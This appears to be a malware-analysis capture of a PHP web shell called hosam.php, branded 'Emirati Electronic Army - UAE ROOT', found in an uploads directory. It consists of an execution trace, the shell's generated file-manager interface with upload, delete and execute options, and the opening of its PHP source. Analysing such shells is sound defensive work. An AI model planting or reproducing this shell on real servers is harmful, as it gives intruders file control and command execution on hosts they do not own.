4	407	0	0.019001	788928	date	0		/var/www/html/uploads/hosam.php	1169	2	'n/j/y H:i:s'	1676254317
4	407	1	0.019031	789256
4	407	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1169	$timestamps .= 'atime: 2/12/23 21:11:57, '
4	408	0	0.019058	788952	date	0		/var/www/html/uploads/hosam.php	1170	2	'n/j/y H:i:s'	1676254317
4	408	1	0.019088	789280
4	408	R			'2/12/23 21:11:57'
3		A						/var/www/html/uploads/hosam.php	1170	$timestamps .= 'ctime: 2/12/23 21:11:57'
4	409	0	0.019114	789176	html	1		/var/www/html/uploads/hosam.php	1174	1	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
5	410	0	0.019129	789176	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'	2	'ISO-8859-1'
5	410	1	0.019146	789480
5	410	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	409	1	0.019162	789368
4	409	R			'mtime: 2/12/23 21:11:57, atime: 2/12/23 21:11:57, ctime: 2/12/23 21:11:57'
4	411	0	0.019178	788984	substr	0		/var/www/html/uploads/hosam.php	1205	3	'prepend.php'	0	1
4	411	1	0.019192	789080
4	411	R			'p'
4	412	0	0.019206	789064	urlencode	0		/var/www/html/uploads/hosam.php	1212	1	'/var/www/html/uploads/prepend.php'
4	412	1	0.019219	789176
4	412	R			'%2Fvar%2Fwww%2Fhtml%2Fuploads%2Fprepend.php'
4	413	0	0.019236	789096	html	1		/var/www/html/uploads/hosam.php	1212	1	'prepend.php'
5	414	0	0.019253	789096	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'prepend.php'	2	'ISO-8859-1'
5	414	1	0.019268	789368
5	414	R			'prepend.php'
4	413	1	0.019282	789256
4	413	R			'prepend.php'
3		A						/var/www/html/uploads/hosam.php	1222	$human = ''
4	415	0	0.019308	788944	decoct	0		/var/www/html/uploads/hosam.php	1229	1	33261
4	415	1	0.019321	789016
4	415	R			'100755'
4	416	0	0.019335	788944	function_exists	0		/var/www/html/uploads/hosam.php	1231	1	'posix_getuid'
4	416	1	0.019348	788984
4	416	R			TRUE
4	417	0	0.019361	788944	posix_getuid	0		/var/www/html/uploads/hosam.php	1231	0
4	417	1	0.019373	788944
4	417	R			33
3		A						/var/www/html/uploads/hosam.php	1231	$l = FALSE
4	418	0	0.019396	788944	permission_octal2string	1		/var/www/html/uploads/hosam.php	1233	1	33261
4		A						/var/www/html/uploads/hosam.php	873	$type = '-'
4		A						/var/www/html/uploads/hosam.php	886	$owner = 'r'
4		A						/var/www/html/uploads/hosam.php	887	$owner .= 'w'
4		A						/var/www/html/uploads/hosam.php	891	$owner .= 'x'
4		A						/var/www/html/uploads/hosam.php	894	$group = 'r'
4		A						/var/www/html/uploads/hosam.php	895	$group .= '-'
4		A						/var/www/html/uploads/hosam.php	899	$group .= 'x'
4		A						/var/www/html/uploads/hosam.php	902	$other = 'r'
4		A						/var/www/html/uploads/hosam.php	903	$other .= '-'
4		A						/var/www/html/uploads/hosam.php	907	$other .= 'x'
4	418	1	0.019507	788984
4	418	R			'-rwxr-xr-x'
4	419	0	0.019520	788984	html	1		/var/www/html/uploads/hosam.php	1233	1	'-rwxr-xr-x'
5	420	0	0.019533	788984	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'-rwxr-xr-x'	2	'ISO-8859-1'
5	420	1	0.019548	789256
5	420	R			'-rwxr-xr-x'
4	419	1	0.019562	789144
4	419	R			'-rwxr-xr-x'
4	421	0	0.019576	788944	array_key_exists	0		/var/www/html/uploads/hosam.php	1238	2	'owner_name'	['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	421	1	0.019606	789008
4	421	R			TRUE
4	422	0	0.019620	788944	array_key_exists	0		/var/www/html/uploads/hosam.php	1244	2	'group_name'	['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4	422	1	0.019648	789008
4	422	R			TRUE
4	423	0	0.019662	789040	html	1		/var/www/html/uploads/hosam.php	1253	1	'/var/www/html/uploads/prepend.php'
5	424	0	0.019676	789040	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/prepend.php'	2	'ISO-8859-1'
5	424	1	0.019691	789312
5	424	R			'/var/www/html/uploads/prepend.php'
4	423	1	0.019706	789200
4	423	R			'/var/www/html/uploads/prepend.php'
3		A						/var/www/html/uploads/hosam.php	1256	$actions = []
4	425	0	0.019733	788568	function_exists	0		/var/www/html/uploads/hosam.php	1257	1	'symlink'
4	425	1	0.019746	788608
4	425	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1258	$actions[] = 'create_symlink'
4	426	0	0.019771	788944	dirname	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads/prepend.php'
4	426	1	0.019784	789040
4	426	R			'/var/www/html/uploads'
4	427	0	0.019799	789008	is_writable	0		/var/www/html/uploads/hosam.php	1260	1	'/var/www/html/uploads'
4	427	1	0.019817	789048
4	427	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1261	$actions[] = 'delete'
3		A						/var/www/html/uploads/hosam.php	1262	$actions[] = 'rename'
3		A						/var/www/html/uploads/hosam.php	1263	$actions[] = 'move'
3		A						/var/www/html/uploads/hosam.php	1266	$actions[] = 'copy'
3		A						/var/www/html/uploads/hosam.php	1267	$actions[] = 'download'
4	428	0	0.019883	788944	function_exists	0		/var/www/html/uploads/hosam.php	1270	1	'exec'
4	428	1	0.019896	788984
4	428	R			TRUE
4	429	0	0.019910	788944	file_exists	0		/var/www/html/uploads/hosam.php	1270	1	'/bin/sh'
4	429	1	0.019930	788984
4	429	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1271	$actions[] = 'execute'
4	430	0	0.019958	788944	sizeof	0		/var/www/html/uploads/hosam.php	1274	1	[0 => 'create_symlink', 1 => 'delete', 2 => 'rename', 3 => 'move', 4 => 'copy', 5 => 'download', 6 => 'execute']
4	430	1	0.019977	788976
4	430	R			7
4	431	0	0.019990	789040	str_repeat	0		/var/www/html/uploads/hosam.php	1277	2	'&nbsp;'	30
4	431	1	0.020004	789328
4	431	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	432	0	0.020020	789008	word	1		/var/www/html/uploads/hosam.php	1281	1	'create_symlink'
5	433	0	0.020035	789008	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'create symlink'	2	'ISO-8859-1'
5	433	1	0.020051	789280
5	433	R			'create symlink'
4	432	1	0.020066	789168
4	432	R			'create symlink'
4	434	0	0.020081	789000	word	1		/var/www/html/uploads/hosam.php	1281	1	'delete'
5	435	0	0.020094	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'delete'	2	'ISO-8859-1'
5	435	1	0.020108	789272
5	435	R			'delete'
4	434	1	0.020122	789160
4	434	R			'delete'
4	436	0	0.020136	789000	word	1		/var/www/html/uploads/hosam.php	1281	1	'rename'
5	437	0	0.020148	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'rename'	2	'ISO-8859-1'
5	437	1	0.020162	789272
5	437	R			'rename'
4	436	1	0.020176	789160
4	436	R			'rename'
4	438	0	0.020190	788992	word	1		/var/www/html/uploads/hosam.php	1281	1	'move'
5	439	0	0.020202	788992	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'move'	2	'ISO-8859-1'
5	439	1	0.020216	789264
5	439	R			'move'
4	438	1	0.020229	789152
4	438	R			'move'
4	440	0	0.020243	788992	word	1		/var/www/html/uploads/hosam.php	1281	1	'copy'
5	441	0	0.020255	788992	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'copy'	2	'ISO-8859-1'
5	441	1	0.020269	789264
5	441	R			'copy'
4	440	1	0.020283	789152
4	440	R			'copy'
4	442	0	0.020296	789000	word	1		/var/www/html/uploads/hosam.php	1281	1	'download'
5	443	0	0.020309	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'download'	2	'ISO-8859-1'
5	443	1	0.020322	789272
5	443	R			'download'
4	442	1	0.020336	789160
4	442	R			'download'
4	444	0	0.020351	789000	word	1		/var/www/html/uploads/hosam.php	1281	1	'execute'
5	445	0	0.020364	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'execute'	2	'ISO-8859-1'
5	445	1	0.020378	789272
5	445	R			'execute'
4	444	1	0.020392	789160
4	444	R			'execute'
3		A						/var/www/html/uploads/hosam.php	1165	$i++
4	446	0	0.020416	788944	sizeof	0		/var/www/html/uploads/hosam.php	1165	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	446	1	0.020488	788976
4	446	R			6
4	447	0	0.020502	789168	sizeof	0		/var/www/html/uploads/hosam.php	1299	1	[0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 4 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']]
4	447	1	0.020571	789200
4	447	R			6
4	448	0	0.020585	789264	html	1		/var/www/html/uploads/hosam.php	1301	1	'/var/www/html/uploads/'
5	449	0	0.020598	789264	htmlentities	0		/var/www/html/uploads/hosam.php	1488	3	'/var/www/html/uploads/'	2	'ISO-8859-1'
5	449	1	0.020613	789536
5	449	R			'/var/www/html/uploads/'
4	448	1	0.020629	789424
4	448	R			'/var/www/html/uploads/'
3		A						/var/www/html/uploads/hosam.php	1304	$actions = []
4	450	0	0.020662	788568	dirname	0		/var/www/html/uploads/hosam.php	1305	1	'/var/www/html/uploads/prepend.php'
4	450	1	0.020676	788664
4	450	R			'/var/www/html/uploads'
4	451	0	0.020690	788632	is_writable	0		/var/www/html/uploads/hosam.php	1305	1	'/var/www/html/uploads'
4	451	1	0.020707	788672
4	451	R			TRUE
3		A						/var/www/html/uploads/hosam.php	1306	$actions[] = 'delete'
3		A						/var/www/html/uploads/hosam.php	1307	$actions[] = 'move'
3		A						/var/www/html/uploads/hosam.php	1309	$actions[] = 'copy'
4	452	0	0.020757	788944	str_repeat	0		/var/www/html/uploads/hosam.php	1312	2	'&nbsp;'	30
4	452	1	0.020771	789232
4	452	R			'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'
4	453	0	0.020787	789000	word	1		/var/www/html/uploads/hosam.php	1316	1	'delete'
5	454	0	0.020801	789000	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'delete'	2	'ISO-8859-1'
5	454	1	0.020815	789272
5	454	R			'delete'
4	453	1	0.020828	789160
4	453	R			'delete'
4	455	0	0.020843	788992	word	1		/var/www/html/uploads/hosam.php	1316	1	'move'
5	456	0	0.020856	788992	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'move'	2	'ISO-8859-1'
5	456	1	0.020870	789264
5	456	R			'move'
4	455	1	0.020884	789152
4	455	R			'move'
4	457	0	0.020898	788992	word	1		/var/www/html/uploads/hosam.php	1316	1	'copy'
5	458	0	0.020911	788992	htmlentities	0		/var/www/html/uploads/hosam.php	1493	3	'copy'	2	'ISO-8859-1'
5	458	1	0.020926	789264
5	458	R			'copy'
4	457	1	0.020940	789152
4	457	R			'copy'
3	196	1	0.020954	788376
3	459	0	0.020963	788376	html_footer	1		/var/www/html/uploads/hosam.php	1129	0
3	459	1	0.020976	788376
2	50	1	0.020985	779024
1	3	1	0.021001	779024
			0.021090	561784
TRACE END   [2023-02-13 00:12:23.358165]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head>

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">

<title>Emirati Electronic Army  -  UAE ROOT</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing .permission_header { text-align: left }
.listing .permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
	if (document && document.forms[0] && document.forms[0].elements['focus']) {
		document.forms[0].elements['focus'].value = name;
	}
}
//-->
</script>

</head>
<body>

<h1 style="margin-bottom: 0">Emirati Electronic Army  -  UAE ROOT</h1>

<form enctype="multipart/form-data" action="hosam.php" method="post">

<table id="main">
<tbody><tr>
	<td colspan="7" id="directory">
		<a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F">Directory</a>:
		<input type="text" name="dir" size="30" value="/var/www/html/" onfocus="activate('directory')">
		<input type="submit" name="changedir" value="change" onfocus="activate('directory')">
	</td>
</tr>
<tr>
	<td colspan="7" id="upload">
		File:
		<input type="file" name="upload" onfocus="activate('other')">
		<input type="submit" name="submit_upload" value="upload" onfocus="activate('other')">
	</td>
</tr>
<tr>
	<td colspan="7" id="create">
		<select name="create_type" size="1" onfocus="activate('create')">
		<option value="file">File</option>
		<option value="directory">Directory</option>
		</select>
		<input type="text" name="create_name" onfocus="activate('create')">
		<input type="submit" name="submit_create" value="create" onfocus="activate('create')">
	</td>
</tr>
<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="hosam.php?image=smiley" alt="smiley"></th>
	<th class="filename"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=filename&amp;reverse=true">Filename</a></th>
	<th class="size"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=size">Size</a></th>
	<th class="permission_header"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=permission">Permission</a></th>
	<th class="owner"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=owner">Owner</a></th>
	<th class="group"><a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F&amp;sort=group">Group</a></th>
	<th class="functions">Functions</th>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked0" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 21:11:51, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=folder" alt="folder"> [ <a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F.">.</a> ]	</td><td class="size" title="4 kB">4096 B</td>
	<td class="permission" title="40777">drwxrwxrwx</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file0" value="/var/www/html/.">
		<select class="small" name="action0" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		</select>
		<input class="small" type="submit" name="submit0" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked1" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 20:14:46, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=folder" alt="folder"> [ <a href="hosam.php?dir=%2Fvar%2Fwww%2Fhtml%2F..">..</a> ]	</td><td class="size" title="4 kB">4096 B</td>
	<td class="permission" title="40777">drwxrwxrwx</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file1" value="/var/www/html/..">
		<select class="small" name="action1" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		</select>
		<input class="small" type="submit" name="submit1" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked2" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 21:11:50, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=file" alt="file"> <a href="hosam.php?action=view&amp;file=%2Fvar%2Fwww%2Fhtml%2Fbeneri.se_malware_analysis">beneri.se_malware_analysis</a>	</td><td class="size">0 B</td>
	<td class="permission" title="100644">-rw-r--r--</td>
	<td class="owner" title="uid: 0">root</td>
	<td class="group" title="gid: 0">root</td>
	<td class="functions">
		<input type="hidden" name="file2" value="/var/www/html/beneri.se_malware_analysis">
		<select class="small" name="action2" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		<option value="download">download</option>
		</select>
		<input class="small" type="submit" name="submit2" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked3" value="true" onfocus="activate('other')"></td>
	<td class="filename" title="mtime: 2/12/23 21:11:50, atime: 2/12/23 21:11:51, ctime: 2/12/23 21:11:50"><img src="hosam.php?image=file" alt="file"> <a href="hosam.php?action=view&amp;file=%2Fvar%2Fwww%2Fhtml%2Fhosam.php">hosam.php</a>	</td><td class="size" title="67 kB">68561 B</td>
	<td class="permission" title="100664">-rw-rw-r--</td>
	<td class="owner" title="uid: 1000">osboxes</td>
	<td class="group" title="gid: 1000">osboxes</td>
	<td class="functions">
		<input type="hidden" name="file3" value="/var/www/html/hosam.php">
		<select class="small" name="action3" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="create_symlink">create symlink</option>
		<option value="delete">delete</option>
		<option value="rename">rename</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		<option value="download">download</option>
		</select>
		<input class="small" type="submit" name="submit3" value=" > " onfocus="activate('other')">
	</td>
</tr>
<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="hosam.php?image=arrow" alt=">"></td>
	<td colspan="6">
		<input type="hidden" name="num" value="4">
		<input type="hidden" name="focus" value="">
		<input type="hidden" name="olddir" value="/var/www/html/">
		<select class="small" name="action_all" size="1">
		<option value="">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</option>
		<option value="delete">delete</option>
		<option value="move">move</option>
		<option value="copy">copy</option>
		</select>
		<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate('other')">
	</td>
</tr>
</tbody></table>

</form>


</body></html>

Original PHP code

<?php
/*
 * Genius-JorDan - H0s4m - a simple Web-based file manager
 * Copyright (C) 2004  Genius-JorDan - H0s4m 
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 9
 * =========================================================================

/* ------------------------------------------------------------------------- */

/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'auto' - autoselect
 */
$lang = 'auto';

/* Charset of output:
 * possible values are described in the charset table at
 * http://www.php.net/manual/en/function.htmlentities.php
 * 'auto' - use the same charset as the words of my language are encoded
 */
$site_charset = 'auto';

/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';

/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */

/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;

/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;

/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
	array_walk($_GET, 'strip');
	array_walk($_POST, 'strip');
	array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
	header('Content-Type: image/gif');
	die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
	function lstat ($filename) {
		return stat($filename);
	}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
	$win = ($delim == '\\') ? true : false;
}

